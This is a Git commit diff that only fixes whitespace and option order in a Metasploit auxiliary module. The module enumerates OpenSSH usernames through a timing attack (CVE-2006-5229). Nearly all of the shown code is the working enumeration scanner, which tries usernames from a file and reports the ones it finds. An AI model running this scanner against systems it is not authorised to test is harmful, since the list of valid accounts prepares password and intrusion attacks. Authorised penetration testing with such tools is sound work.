Fix up whitespace 'n' stuff

bug/bundler_fix
William Vu 2014-04-23 10:00:34 -05:00
parent 96f042110f
commit 1a2899d57b
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GPG Key ID: E761DCB4C1629024
1 changed files with 24 additions and 38 deletions

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@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell include Msf::Auxiliary::CommandShell
def initialize def initialize(info = {})
super( super(update_info(info
'Name' => 'SSH Username Enumeration', 'Name' => 'SSH Username Enumeration',
'Description' => %q{ 'Description' => %q{
This module uses a time-based attack to enumerate users in a OpenSSH server. This module uses a time-based attack to enumerate users in a OpenSSH server.
@ -24,38 +24,35 @@ class Metasploit3 < Msf::Auxiliary
['CVE', '2006-5229'] ['CVE', '2006-5229']
], ],
'License' => MSF_LICENSE 'License' => MSF_LICENSE
) ))
register_options( register_options(
[ [
Opt::RPORT(22),
OptPath.new('USER_FILE', OptPath.new('USER_FILE',
[true, 'File containing usernames, one per line', nil]), [true, 'File containing usernames, one per line', nil]),
OptInt.new('THRESHOLD', OptInt.new('THRESHOLD',
[true, [true,
'Amount of seconds needed before a user is considered ' \ 'Amount of seconds needed before a user is considered ' \
'found', 10]), 'found', 10])
Opt::RPORT(22)
], self.class ], self.class
) )
register_advanced_options( register_advanced_options(
[ [
OptBool.new('SSH_DEBUG', OptInt.new('RETRY_NUM',
[false, 'Enable SSH debugging output (Extreme verbosity!)', [true , 'The number of attempts to connect to a SSH server' \
false]), ' for each user', 3]),
OptInt.new('SSH_TIMEOUT', OptInt.new('SSH_TIMEOUT',
[false, 'Specify the maximum time to negotiate a SSH session', [false, 'Specify the maximum time to negotiate a SSH session',
10]), 10]),
OptBool.new('SSH_DEBUG',
OptInt.new('RETRY_NUM', [false, 'Enable SSH debugging output (Extreme verbosity!)',
[true , 'The number of attempts to connect to a SSH server' \ false])
' for each user', 3])
] ]
) )
end end
def rport def rport
datastore['RPORT'] datastore['RPORT']
end end
@ -90,16 +87,12 @@ class Metasploit3 < Msf::Auxiliary
::Timeout.timeout(datastore['SSH_TIMEOUT']) do ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, user, opt_hash) Net::SSH.start(ip, user, opt_hash)
end end
rescue Rex::ConnectionError, Rex::AddressInUse rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error return :connection_error
rescue Net::SSH::Disconnect, ::EOFError rescue Net::SSH::Disconnect, ::EOFError
return :success return :success
rescue ::Timeout::Error rescue ::Timeout::Error
return :success return :success
rescue Net::SSH::Exception rescue Net::SSH::Exception
end end
@ -112,7 +105,6 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def do_report(ip, user, port) def do_report(ip, user, port)
report_auth_info( report_auth_info(
:host => ip, :host => ip,
@ -123,18 +115,15 @@ class Metasploit3 < Msf::Auxiliary
) )
end end
def user_list def user_list
File.new(datastore['USER_FILE']).read.split File.new(datastore['USER_FILE']).read.split
end end
def attempt_user(user, ip) def attempt_user(user, ip)
attempt_num = 0 attempt_num = 0
ret = nil ret = nil
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error) while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
if attempt_num > 0 if attempt_num > 0
Rex.sleep(2 ** attempt_num) Rex.sleep(2 ** attempt_num)
print_debug "Retrying '#{user}' on '#{ip}' due to connection error" print_debug "Retrying '#{user}' on '#{ip}' due to connection error"
@ -143,28 +132,25 @@ class Metasploit3 < Msf::Auxiliary
ret = check_user(ip, user, rport) ret = check_user(ip, user, rport)
attempt_num += 1 attempt_num += 1
end end
ret ret
end end
def show_result(attempt_result, user, ip) def show_result(attempt_result, user, ip)
case attempt_result case attempt_result
when :success when :success
print_good "User '#{user}' found on #{ip}" print_good "User '#{user}' found on #{ip}"
do_report(ip, user, rport) do_report(ip, user, rport)
when :connection_error when :connection_error
print_error "User '#{user}' on #{ip} could not connect" print_error "User '#{user}' on #{ip} could not connect"
when :fail when :fail
print_debug "User '#{user}' not found on #{ip}" print_debug "User '#{user}' not found on #{ip}"
end end
end end
def run_host(ip) def run_host(ip)
print_status "Starting scan on #{ip}" print_status "Starting scan on #{ip}"
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) } user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
end end
end end